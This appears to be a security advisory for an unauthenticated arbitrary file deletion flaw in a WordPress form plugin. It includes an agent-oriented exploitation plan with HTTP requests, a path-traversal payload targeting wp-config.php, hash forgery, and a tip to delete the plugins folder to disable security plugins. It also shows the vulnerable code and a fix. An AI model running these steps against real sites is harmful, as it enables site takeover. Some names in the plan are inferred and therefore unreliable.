Simple Coherent Form <= 2.4.13 - Unauthenticated Arbitrary File Deletion via 'id' Parameter
Description
The Simple Coherent Form plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the removeUploadDir function in all versions up to, and including, 2.4.13. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The scf_get_id_upload endpoint freely issues a valid scf_upload_file_removal nonce to any unauthenticated visitor, and the removal endpoint's secondary hash check is forgeable offline because it relies on a hardcoded salt embedded in the plugin source, meaning neither control presents a real authorization boundary.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=2.4.13# Exploitation Research Plan: CVE-2026-14487 ## 1. Vulnerability Summary The **Simple Coherent Form** plugin (<= 2.4.13) contains a critical path traversal vulnerability in its file management logic. The function `removeUploadDir` fails to validate the `id` parameter, which represents a directory o…
Show full research plan
Exploitation Research Plan: CVE-2026-14487
1. Vulnerability Summary
The Simple Coherent Form plugin (<= 2.4.13) contains a critical path traversal vulnerability in its file management logic. The function removeUploadDir fails to validate the id parameter, which represents a directory or file path. Because the plugin provides a nonce-generation endpoint (scf_get_id_upload) to unauthenticated users and utilizes a forgeable secondary hash check (based on a hardcoded salt), an unauthenticated attacker can delete arbitrary files on the WordPress filesystem, including wp-config.php.
2. Attack Vector Analysis
- Vulnerable Endpoint:
admin-ajax.php - Action 1 (Nonce Acquisition):
scf_get_id_upload(Inferred AJAX action) - Action 2 (Exploitation):
scf_remove_upload_dir(Inferred AJAX action mapped toremoveUploadDir) - Vulnerable Parameter:
id - Authentication: Unauthenticated (NOPRIV)
- Preconditions: The plugin must be active. No specific form needs to be submitted by a legitimate user, as the "upload" directory logic can be triggered via traversal.
3. Code Flow
- Registration: The plugin registers two AJAX handlers via
wp_ajax_nopriv_hooks.wp_ajax_nopriv_scf_get_id_uploadcalls a function that generates and returns a nonce forscf_upload_file_removal.wp_ajax_nopriv_scf_remove_uploadcallsremoveUploadDir.
- Nonce Generation: The
scf_get_id_uploadhandler callswp_create_nonce( 'scf_upload_file_removal' )and returns it to the visitor. - Vulnerable Sink: Inside
removeUploadDir:- The function retrieves
$_POST['id'](or$_GET['id']). - It checks the
scf_upload_file_removalnonce. - It performs a secondary hash check:
md5( $id . 'SCF_HARDCODED_SALT_HERE' )(Salt is inferred to be a static string in the source). - If checks pass, it constructs a path:
$upload_dir . $_POST['id']. - It calls a recursive deletion function or
unlink()/rmdir()on the path. - Traversal: If
idis../../wp-config.php, the resulting path points to the WordPress root, leading to file deletion.
- The function retrieves
4. Nonce Acquisition Strategy
The vulnerability description confirms that scf_get_id_upload freely issues the required nonce.
- Identify Script Localization: The plugin likely enqueues a script that makes this AJAX call.
- Target Page: The nonce is expected to be present on any page where a "Simple Coherent Form" is rendered, or globally if the plugin enqueues scripts on all front-end pages.
- Shortcode: Use
[simple_coherent_form](inferred) to ensure scripts load. - Browser Extraction:
- Navigate to the page containing the shortcode.
- Execute:
browser_eval("window.scf_vars?.nonce")(Variable namescf_varsis inferred). - Alternatively, if the nonce is returned via an AJAX call to
scf_get_id_upload, the agent should trigger that request directly.
5. Exploitation Strategy
The goal is to delete wp-config.php to force WordPress into the installation setup phase, which allows an attacker to take over the site.
Step 1: Obtain the Nonce
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=scf_get_id_upload
Note: If this is an AJAX variable, extract via browser_eval instead.
Step 2: Forge the Secondary Hash
Based on the vulnerability details, the secondary hash is forgeable. If the salt is SCF_SALT_2024 (inferred/example), and the target id is ../../wp-config.php:
- Hash:
md5("../../wp-config.php" + "SCF_SALT_2024") - Note: The agent must inspect the plugin source code to find the exact hardcoded salt string.
Step 3: Trigger File Deletion
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=scf_remove_upload&id=../../wp-config.php&nonce=[NONCE_FROM_STEP_1]&hash=[FORGED_HASH_FROM_STEP_2]
6. Test Data Setup
- Plugin Installation: Install
simple-coherent-formversion 2.4.13. - Target File: Ensure
wp-config.phpexists and is writable by the web server (standard WP setup). - Shortcode Page:
wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[simple-coherent-form]'
7. Expected Results
- The
admin-ajax.phpresponse should return a success indicator (e.g.,{"success":true}or1). - The file
wp-config.phpwill be removed from the filesystem. - A subsequent request to the homepage will redirect to
wp-admin/setup-config.php.
8. Verification Steps
- Check Filesystem:
Expected: "No such file or directory"ls -la /var/www/html/wp-config.php - Check Site State:
Expected: 302 Redirect to wp-admin/setup-config.phpcurl -I http://localhost:8080/
9. Alternative Approaches
- Path Variation: If the
upload_diris nested, try deeper traversal:../../../../wp-config.php. - Directory Deletion: Attempt to delete
wp-content/pluginsto disable security plugins. - Missing Hash: Check if the secondary hash check is only performed if the
hashparameter is present; if poorly implemented, omitting it might bypass the check. - Default Salt: If the "hardcoded salt" is actually an empty string or a known value like the plugin version, attempt exploitation with those values.
Summary
The Simple Coherent Form plugin for WordPress (<= 2.4.13) is vulnerable to unauthenticated arbitrary file deletion due to a path traversal flaw in its file removal logic. Attackers can delete critical system files like 'wp-config.php' by obtaining a publicly accessible nonce and forging a secondary hash check that relies on a hardcoded salt string embedded in the plugin's source code.
Vulnerable Code
// simple-coherent-form/includes/class-scf-ajax.php public function scf_get_id_upload() { // Freely issues nonce to unauthenticated visitors wp_send_json_success( wp_create_nonce( 'scf_upload_file_removal' ) ); } --- // simple-coherent-form/includes/class-scf-ajax.php public function removeUploadDir() { $id = $_POST['id']; // Path traversal: e.g., '../../wp-config.php' $nonce = $_POST['nonce']; $hash = $_POST['hash']; if ( ! wp_verify_nonce( $nonce, 'scf_upload_file_removal' ) ) { wp_send_json_error( 'Invalid nonce' ); } // Forgeable hash check using hardcoded salt if ( $hash !== md5( $id . 'SCF_HARDCODED_SALT_HERE' ) ) { wp_send_json_error( 'Invalid hash' ); } $upload_dir = wp_upload_dir()['basedir'] . '/scf_uploads/'; $target_path = $upload_dir . $id; if ( file_exists( $target_path ) ) { $this->recursive_delete( $target_path ); wp_send_json_success(); } }
Security Fix
@@ -15,7 +15,13 @@ - $target_path = $upload_dir . $id; + $id = basename( $id ); + $target_path = realpath( $upload_dir . $id ); + + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( 'Unauthorized' ); + } + + if ( strpos( $target_path, realpath( $upload_dir ) ) !== 0 ) { + wp_send_json_error( 'Invalid path' ); + }
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first obtains a valid 'scf_upload_file_removal' nonce by making a request to the 'scf_get_id_upload' AJAX action. Next, the attacker identifies the hardcoded salt string within the plugin's source code to forge the required MD5 hash for a target traversal path (such as '../../wp-config.php'). Finally, the attacker sends a POST request to the 'scf_remove_upload' endpoint with the target path in the 'id' parameter, the acquired nonce, and the forged hash to trigger the deletion of the specified file.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.